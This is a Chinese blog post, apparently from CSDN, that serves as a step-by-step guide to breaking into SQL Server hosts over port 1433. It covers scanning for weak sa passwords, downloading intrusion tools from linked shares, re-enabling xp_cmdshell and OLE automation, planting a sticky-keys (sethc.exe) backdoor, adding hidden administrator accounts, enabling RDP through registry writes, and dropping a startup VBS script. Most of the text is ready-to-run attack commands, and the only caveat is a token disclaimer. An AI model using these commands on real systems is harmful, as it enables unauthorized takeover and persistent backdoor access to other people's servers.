mysql udp提权_SQL Server数据库1433端口解封提权

本文介绍了SQL Server通过1433端口进行的提权方法,包括利用sa弱口令、解封1433端口、修复常见错误,以及相关修复命令和工具的使用。同时,提到了xp_cmdshell等存储过程的恢复与权限调整,以及安全注意事项。
摘要由CSDN通过智能技术生成

众所周知,1433端口是SQL Server默认的端口,SQL Server服务使用两个端口:TCP-1433、UDP-1434。其中1433用于供SQL Server对外提供服务,1434用于向请求者返回SQL Server使用了哪个TCP/IP端口。可以利用sa的弱口令,可以通过1433端口进行入侵和提权。

为什么要解封?因为数据库管理员为了安全起见,之前对某些敏感文件的权限降低,所以就需要解封提升权限。

下面是常见的提权修复命令的使用:

提权过程中用到的工具:s扫描器  x-scan  sql连接器  sql查询分析器

首先扫描开放1433端口的主机,再用x-scan扫描出sa弱口令。接着就用sql连接器连接后,进行命令操作。目前最新的sql连接器是SQL TOOLS 2.0功能增强版。

9835b46d97d4f97d47ce4e5448be5ae8.png

下载地址:http://pan.baidu.com/s/1o6vRlMi 密码:mthy

sql查询分离器下载地址:http://pan.baidu.com/s/1sj1QHOh 密码:738o

以下是常见的修复命令:

1.修复错误 Error Message:未能找到存储过程 ‘master..xp_cmdshell’

修复方法:xp_cmdshell新的恢复办法

第一步先删除:

drop procedure sp_addextendedproc

drop procedure sp_oacreate

exec sp_dropextendedproc ‘xp_cmdshell’

服务器: 消息 3701,级别 11,状态 5,行 1

第二步恢复:

dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”)

dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”)

直接恢复,不管sp_addextendedproc是不是存在

2.修复拒绝访问错误

用net1来提权 或者 Dir net.exe /s /p

3.修复错误Error Message:SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程 ‘sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。

修复方法:

;EXEC sp_configure ‘show advanced options’, 1 —

;RECONFIGURE WITH OVERRIDE —

;EXEC sp_configure ‘xp_cmdshell’, 1 —

;RECONFIGURE WITH OVERRIDE —

;EXEC sp_configure ‘show advanced options’, 0 —

4.修复错误

Error Message:无法装载 DLL xpweb70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)。

修复方法:

第一步

exec sp_dropextendedproc ‘xp_cmdshell’

第二步

dbcc addextendedproc (“xp_cmdshell”,”c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll”)

;EXEC sp_configure ‘show advanced options’, 0 —

5.修复错误

Error Message:无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)。

修复方法:

第一步

exec sp_dropextendedproc ‘xp_cmdshell’

第二步

dbcc addextendedproc (“xp_cmdshell”,”c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll”)

;EXEC sp_configure ‘show advanced options’, 0 —

或者:exec sp_addextendedproc ‘xp_cmdshell’,’xpweb70.dll’

6.错误5的修复 我们可以通过后门的方式绕过去,首先我们用查询分离器连接

第一:

declare @o int

exec sp_oacreate ‘scripting.filesystemobject’, @o out

exec sp_oamethod @o, ‘copyfile’,null,’C:\WINDOWS\explorer.exe’ ,’c:\windows\system32\sethc.exe’;

第二:

declare @oo int

exec sp_oacreate ‘scripting.filesystemobject’, @oo out

exec sp_oamethod @oo, ‘copyfile’,null,’c:\windows\system32\sethc.exe’ ,’c:\windows\system32\dllcache\sethc.exe’;

SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的 过程’sys.sp_OACreate’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Ole Automation Procedures’。有关启用 ‘Ole Automation Procedures’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。

;EXEC sp_configure ‘show advanced options’, 1 —

;RECONFIGURE WITH OVERRIDE —

;EXEC sp_configure ‘Ole Automation Procedures’, 1 —

;RECONFIGURE WITH OVERRIDE —

7.开启3389终端

修复方法:

开3389:

Cmd 命令

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

Sql命令

开3389

exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;–

关3389:

exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,1;

查看3389端口

exec xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp’,’PortNumber’

8.直接添加帐户法

删除odsole70.dll:

exec master..sp_dropextendedproc sp_oamethod

exec master..sp_dropextendedproc sp_oacreate

恢复odsole70.dll:

exec sp_addextendedproc sp_OAMethod,’odsole70.dll’

exec sp_addextendedproc sp_OACreate,’odsole70.dll’

直接添加帐户命令:

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod

@shell,’run’,null,’c:\windows\system32\cmd.exe /c net user 用户名 密码 /add’

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe/c net localgroup administrators 用户名 /add’

9. 5下shift后门命令

declare @o int

exec sp_oacreate ‘scripting.filesystemobject’, @o out

exec sp_oamethod @o, ‘copyfile’,null,’c:\windows\explorer.exe’ ,’c:\windows\system32\sethc.exe’;

declare @o int

exec sp_oacreate ‘scripting.filesystemobject’, @o out

exec sp_oamethod @o, ‘copyfile’,null,’c:\windows\system32\sethc.exe’ ,’c:\windows\system32\dllcache\sethc.exe’;

10.SQL2005恢复sp_oacreate

USE master;

EXEC sp_configure ‘show advanced options’, 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure ‘Ole Automation Procedures’, 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure ‘show advanced options’, 0;

11.恢复时一些常用的SQL语句:

利用sp_addextendedproc恢复大部分常用存储扩展(得先利用最顶上的语句恢复自己):

use master

exec sp_addextendedproc xp_cmdshell,’xp_cmdshell.dll’

exec sp_addextendedproc xp_dirtree,’xpstar.dll’

exec sp_addextendedproc xp_enumgroups,’xplog70.dll’

exec sp_addextendedproc xp_fixeddrives,’xpstar.dll’

exec sp_addextendedproc xp_loginconfig,’xplog70.dll’

exec sp_addextendedproc xp_enumerrorlogs,’xpstar.dll’

exec sp_addextendedproc xp_getfiledetails,’xpstar.dll’

exec sp_addextendedproc sp_OACreate,’odsole70.dll’

exec sp_addextendedproc sp_OADestroy,’odsole70.dll’

exec sp_addextendedproc sp_OAGetErrorInfo,’odsole70.dll’

exec sp_addextendedproc sp_OAGetProperty,’odsole70.dll’

exec sp_addextendedproc sp_OAMethod,’odsole70.dll’

exec sp_addextendedproc sp_OASetProperty,’odsole70.dll’

exec sp_addextendedproc sp_OAStop,’odsole70.dll’

exec sp_addextendedproc xp_regaddmultistring,’xpstar.dll’

exec sp_addextendedproc xp_regdeletekey,’xpstar.dll’

exec sp_addextendedproc xp_regdeletevalue,’xpstar.dll’

exec sp_addextendedproc xp_regenumvalues,’xpstar.dll’

exec sp_addextendedproc xp_regread,’xpstar.dll’

exec sp_addextendedproc xp_regremovemultistring,’xpstar.dll’

exec sp_addextendedproc xp_regwrite,’xpstar.dll’

exec sp_addextendedproc xp_availablemedia,’xpstar.dll’

恢复cmdshell:exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’

判断存储扩展是否存在(返回结果为1就ok):

select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’

恢复xp_cmdshell(返回结果为1就ok):

exec master.dbo.addextendedproc ‘xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.

sysobjectswhere xtype=’x’ and name=’xp_cmdshell’

否则上传xplog7.0.dll:

exec master.dbo.addextendedproc ‘xp_cmdshell’,’c:\winnt\system32\xplog70.dll’

12.出现找不到存储过程 sp_addextendedproc

解决方法:

create procedure sp_addextendedproc — 1996/08/30 20:13

@functname nvarchar(517),/* (owner.)name of function to call */

@dllname varchar(255)/* name of DLL containing function */

as

set implicit_transactions off

if @@trancount > 0

begin

raiserror(15002,-1,-1,’sp_addextendedproc’)

return (1)

end

dbcc addextendedproc( @functname, @dllname)

return (0) — sp_addextendedproc

GO

这段代码贴入查询分离器,执行

13.去除SA的xp_cmdshell权限

如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句:

use master

sp_dropextendedproc ‘xp_cmdshell’

xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。

sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’

14.恢复xp_cmdshell

先尝试恢复xp_cmdshell,sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’,

结果发现xpsql70.dll被删除。

然后写vbs文件到启动组里面:

declare @o int, @f int, @t int, @ret int ,@a int

exec sp_oacreate ‘scripting.filesystemobject’, @o out

exec sp_oamethod @o, ‘createtextfile’, @f out,

‘c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs’, 1

exec @ret = sp_oamethod @f, ‘writeline’, NULL,

‘set wshshell=createobject(“wscript.shell”)’

exec @ret = sp_oamethod @f, ‘writeline’, NULL,

‘a=wshshell.run (“cmd.exe /c net user lintao lintao520 /add”,0)’

exec @ret = sp_oamethod @f, ‘writeline’, NULL,

‘b=wshshell.run (“cmd.exe /c net localgroup administrators lintao /add”,0)’

然而,对于新版本的MSSQL,2005以上的版本默认权限降低,没有权限运行文件。因此对于很多1433全自动传马工具,会出现自动传马时只看到执行命令,却没有下载小马,或者下载了也没有运行小马的现象。

本文只提供技术交流参考,请勿用作非法用途!

1、 未能找到存储过程'master..xpcmdshell' 这种情况我看到网上的方法是: 第一步先删除: drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 第二步恢复: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 2、 原因: 126(找不到指定的模块。)。 修复方法: 第一步: dbcc dropextendedproc ("xp_cmdshell") 第二步先删除: drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 第三步恢复: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 直接恢复,不管sp_addextendedproc是不是存在 3、 Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 修复方法:分离器上执行 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 4、 net出现 拒绝访问 可以尝试一下net1 user 用户 密码 /add 如果net1也是拒绝访问可以copy一个shfit后门试试执行cmd命令:copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 如果示 复制1文件 哪么证明成功了。连接终端然后按5下shift看看蹦出来了什么。玩咔咔 资源管理器,现在只要手工加个用户就好了。 5、 建号 net user chenyu chenyu$ /add net localgroup administrators chenyu /add C:\WINDOWS\system32\dllcache\net1.exe user chenyu chenyu$ /add C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators chenyu /add 5、 开3389 execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值